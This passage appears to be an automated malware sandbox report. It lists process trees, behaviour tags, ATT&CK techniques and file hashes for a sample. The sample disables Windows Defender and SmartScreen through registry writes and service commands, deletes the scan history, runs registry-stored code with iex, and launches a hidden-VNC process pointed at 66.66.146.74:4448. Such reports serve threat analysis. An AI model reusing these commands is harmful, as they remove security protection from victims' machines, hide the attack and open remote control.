 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s \ S y s t e m '   E n a b l e S m a r t S c r e e n   0   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 n e t 1   s t o p   w i n d e f e n d  
 s c . e x e   c o n f i g   w i n d e f e n d   d e p e n d =   R p c S s - T O G G L E  
 k i l l   - N a m e   M p C m d R u n   - F o r c e   - e a   0  
 s t a r t   ( $ e n v : P r o g r a m F i l e s + ' \ W i n d o w s   D e f e n d e r \ M p C m d R u n . e x e ' )   - A r g   ' - D i s a b l e S e r v i c e '   - w i n   1  
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ m p e n g i n e d b . d b ' )   - F o r c e   - e a   0                       # #   C o m m e n t e d   =   k e e p   s c a n   h i s t o r y  
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ H i s t o r y \ S e r v i c e ' )   - R e c u r s e   - F o r c e   - e a   0  
 ' @   - F o r c e   - e a   0 ;   i e x ( ( g p   R e g i s t r y : : H K E Y _ U s e r s \ S - 1 - 5 - 2 1 * \ V o l a t i l e *   T o g g l e D e f e n d e r   - e a   0 ) [ 0 ] . T o g g l e D e f e n d e r )  
 # - _ - # 4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3176 -
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" qc windefend5⤵
- Launches sc.exe
PID:4492
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"5⤵PID:4856
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C:\Windows\system32\whoami.exe"C:\Windows\system32\whoami.exe" /groups5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1140
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C:\Windows\system32\net1.exe"C:\Windows\system32\net1.exe" start TrustedInstaller5⤵PID:3824
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C:\Windows\SYSTEM32\cmd.exe"cmd"4⤵PID:5056
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C:\Windows\explorer.exe"C:\Windows\explorer.exe"4⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4812
-
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Default 66.66.146.74 4448 HVNC_MUTEX4⤵PID:3512
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Default 66.66.146.74 4448 HVNC_MUTEX4⤵
- System Location Discovery: System Language Discovery
PID:3428
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:1884
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}2⤵
- Modifies Windows Defender Real-time Protection settings
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" qc windefend3⤵
- Launches sc.exe
PID:3788
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"3⤵PID:4656
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C:\Windows\system32\whoami.exe"C:\Windows\system32\whoami.exe" /groups3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3676
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C:\Windows\system32\net1.exe"C:\Windows\system32\net1.exe" stop windefend3⤵PID:4300
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C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE3⤵
- Launches sc.exe
PID:4604
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C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
PID:3516
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C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1164
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Active Setup
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Active Setup
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
-
Filesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
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Filesize
1KB
MD57224298af316ab030a6ea7b29e69915d
SHA1c73b3f8af0647472461d4746f9edf2153b754bd0
SHA256c869d981719dc133b2e2dba5cfc9925ce9b327dbf079a18b8b6caa77716e1f87
SHA5125ae6512f693439759dfc913af7db37395fba2216c1b87bf5b6788a39f01a7c22f6daac0c2ccb680c552d431ed5806a344358a2e1856045a2efad43f0059ad099
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C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133777428381730447.txt
Filesize74KB
MD5ba0001d5f2bdb5aa34fac7beed7a5492
SHA13571ec5b5db5821f35c88f2272b780a036443802
SHA2568283b7a11051fa273263e9846719cd18e5e5990efbfc32e313af25370eb964e1
SHA5123f11436558761d4f130388b8ee99adff18c9e32c4741a5d2ae991ff0b6c750531516fadd5b327a11c1d3eae3a90f7625d93c625032c4661607f6ab43e7c3624a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
151B
MD5bb43e702fc23fe3dcd3d6d3f202425e6
SHA1b7339eebc0c51d2ba5d56d60c1528ce5c3249935
SHA25655522c3e576605f932103ec87ab7eaee6e68334af5f1a7538b52824dd012d9da
SHA5125ad0a8f575e920bda5ef134d435646f647db64e3bc9fa6330d77304b15b531e4f3f2656ebf68ce6f3bf9098ad05f300f6c2db29bfd6de1cdf3fbe80187a2ffa3
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Filesize
8B
MD5cf759e4c5f14fe3eec41b87ed756cea8
SHA1c27c796bb3c2fac929359563676f4ba1ffada1f5
SHA256c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761
SHA512c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b
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Filesize
74KB
MD57a545dbf06e65f7f17f04ae0f5153e0e
SHA1ab20193637edd250eac59fd71b6ea2b7a0faaad4
SHA256c3556cd1169de28cb9f6ba3a06a875f756b1bbadfb51b7ce00c92f23d2cd4f5d
SHA51298a56663c90195b0b22df4dcfd72cc4717e445d5eaa2f4571443becbe38a77121835073cbf56377f5cc11849e160dbe9e156fcff8a3fab2efd9aa97a1876d0d1